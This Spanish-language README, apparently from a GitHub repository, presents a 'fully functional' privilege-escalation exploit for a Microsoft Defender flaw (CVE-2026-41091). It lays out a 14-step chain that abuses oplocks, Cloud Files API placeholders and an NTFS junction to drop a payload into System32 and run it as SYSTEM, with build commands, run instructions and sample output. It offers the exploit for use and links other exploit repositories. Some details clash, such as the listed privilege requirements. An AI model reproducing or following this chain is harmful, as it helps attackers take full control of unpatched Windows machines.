SolarFlare

☀️ CVE-2026-41091 - RedSun (SolarFlare) - Exploit de elevación de privilegios locales de Microsoft Defender

Vulnerabilidad de seguimiento de enlaces en Microsoft Defender - Escalada de privilegios locales a NT AUTHORITY\SYSTEM

La vulnerabilidad se conoce como "RedSun" 🎯, "SolarFlare" es el nombre que le di a mi exploit. ✅

📌 Descripción general

Este repositorio contiene un exploit de prueba de concepto (PoC) totalmente funcional para CVE-2026-41091, una vulnerabilidad crítica de escalada de privilegios locales en Microsoft Defender (Microsoft Malware Protection Engine). Al explotar una resolución de enlaces incorrecta (CWE-59), un atacante autenticado con bajos privilegios puede obtener privilegios de NT AUTHORITY\SYSTEM.

La vulnerabilidad, también conocida como "RedSun" o "SolarFlare", permite a los atacantes engañar a Microsoft Defender para que escriba archivos arbitrarios en ubicaciones protegidas del sistema con privilegios SYSTEM mediante Cloud Files API (CfAPI) y puntos de unión NTFS.

Nota: Este repositorio incluye dos versiones:

basic_poc.cpp - Demostración simplificada del algoritmo (educativa)

full_poc.cpp - Exploit completo funcional con todas las características

🔥 Características principales

🎯 Detalles de la vulnerabilidad

📦 Productos afectados

Producto	Versiones afectadas	Versiones corregidas
Microsoft Malware Protection Engine	< 1.1.26040.8	1.1.26040.8+
Microsoft Defender Antimalware Platform	< 4.18.26040.7	4.18.26040.7+

🔬 Cadena de explotación

┌─────────────────────────────────────────────────────────────────────────────┐
│ SOLARFLARE EXPLOIT CHAIN                                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│ 1. Create Working Directory                                                 │
│    └─> %TEMP%\SF-XXXX\                                                      │
│                                                                              │
│ 2. Trigger Defender with EICAR                                              │
│    └─> Write reversed EICAR to bait file                                    │
│                                                                              │
│ 3. Wait for VSS Snapshot                                                    │
│    └─> Detect Volume Shadow Copy creation                                   │
│                                                                              │
│ 4. Create First Batch Oplock                                                │
│    └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file                              │
│                                                                              │
│ 5. Wait for Oplock Break                                                    │
│    └─> Acquire exclusive access                                             │
│                                                                              │
│ 6. Rename Directory                                                         │
│    └─> Move original directory to .tmp                                      │
│                                                                              │
│ 7. Register Cloud Sync Root                                                 │
│    └─> CfRegisterSyncRoot with Cloud Files API                              │
│                                                                              │
│ 8. Create Cloud Placeholder                                                 │
│    └─> CfCreatePlaceholders for bait file                                   │
│                                                                              │
│ 9. Create Second Batch Oplock                                               │
│    └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder                      │
│                                                                              │
│ 10. Wait for Second Oplock Break                                            │
│     └─> Acquire exclusive access                                            │
│                                                                              │
│ 11. Rename Cloud Directory                                                  │
│     └─> Move cloud directory to .cloud.tmp                                  │
│                                                                              │
│ 12. Create NTFS Junction to System32                                        │
│     └─> Redirect to C:\Windows\System32                                     │
│                                                                              │
│ 13. Copy Payload to System32                                                │
│     └─> Copy bait file to System32 as TieringEngineService.exe              │
│                                                                              │
│ 14. Activate Service as SYSTEM                                              │
│     └─> CoCreateInstance(StorageTiersManagement)                            │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

📦 Instalación

Requisitos previos

Windows 10/11 o Windows Server 2019/2022
Visual Studio 2019/2022 con herramientas de C++
Privilegios de administrador (para la ejecución)

Compilación

# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit

# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib

# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib

🛠️ Uso

Exploit completo (escalada de privilegios a SYSTEM)

full_poc.exe

Demostración básica del algoritmo

basic_poc.exe

📋 Ejemplo de salida

Salida del exploit completo

CVE-2026-41091 SolarFlare PoC
===============================
     by @tc4dy | CVSS 7.8
===============================

[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM

[+] SYSTEM access obtained!

Salida del PoC básico

CVE-2026-41091 Basic PoC
========================================
  Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe

[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.

🔧 Instrucciones de compilación

Con Visual Studio

Abra el Símbolo del sistema para desarrolladores de VS 2022
Navegue hasta el directorio del exploit
Ejecute:

# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib

# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib

Con CMake

cmake_minimum_required(VERSION 3.10)
project(SolarFlare)

set(CMAKE_CXX_STANDARD 17)

add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)

add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)

⚠️ Requisitos y limitaciones

🔗 Exploits relacionados

Echa un vistazo a mis otros repositorios de exploits:

CVE-2026-24061-PoC-Exploit - Bypass de autenticación de GNU inetutils-telnetd
CVE-2026-41940-PoC-Exploit - Exploit de bypass de autenticación de cPanel/WHM
CVE-2026-0073-PoC-Exploit - Bypass de autenticación de depuración inalámbrica ADB de Android

Explotación	✅ Escalada de privilegios locales a SYSTEM ✅ Integración con Cloud Files API (CfAPI) ✅ Creación de marcadores de posición en la nube ✅ Redirección de puntos de unión NTFS
Técnicas	✅ Abuso de oplocks por lotes ✅ Detección de instantáneas VSS ✅ Disparo de EICAR ✅ Activación del servicio COM
Objetivo	✅ Microsoft Defender < 1.1.26040.8 ✅ Windows 10/11 ✅ Windows Server 2019/2022
Usabilidad	✅ Registro detallado ✅ Manejo de errores ✅ Nombres de directorio aleatorios ✅ Limpieza automática

CVE ID	CVE-2026-41091
Puntuación CVSS	7.8 (Alta)
Vector CVSS	AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vector de ataque	Local
Privilegios requeridos	Bajos
Interacción del usuario	Ninguna
Impacto	Ejecución de código a nivel de SYSTEM
CISA KEV	✅ Sí (explotada activamente en el mundo real)
Parche disponible	Microsoft Malware Protection Engine 1.1.26040.8

SO	Windows 10/11, Server 2019/2022
Privilegios	Administrador (para la ejecución)
Defender	Microsoft Defender debe estar habilitado
Internet	Necesario para la detección de instantáneas VSS
Parche	Solo funciona en sistemas sin parchear
Arquitectura	Solo x64

Más Populares

Acerca de

CVE-2026-41091-PoC-Exploit